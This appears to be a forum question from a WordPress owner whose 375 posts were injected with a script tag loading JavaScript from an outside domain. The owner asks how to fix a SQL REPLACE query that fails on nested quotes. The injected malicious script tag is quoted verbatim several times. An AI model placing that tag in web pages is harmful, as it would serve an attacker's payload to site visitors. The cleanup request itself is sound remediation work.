How to mass delete one line from all posts after site hack

My WordPress site has been hacked and every post has had

<script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>

added to the end of each post which I need to remove. I have 375 posts I need this removing from I have tried

UPDATE wp_posts SET post_content = REPLACE (post_content, '<p style="text-align: center;"><img src="https://i.imgur.com/picture.jpg" alt="" /></p>', '');

from the How to mass delete one line from all posts

and substituted it with the following query I’m thinking it has something to do with the ‘ in the query

UPDATE wp_posts SET post_content = REPLACE (post_content, '<script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>', '');

but I get the following error

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>'' at line 1

when I run the query I think it has something to do with the ' inside the script tags but I don’t know how to remove them.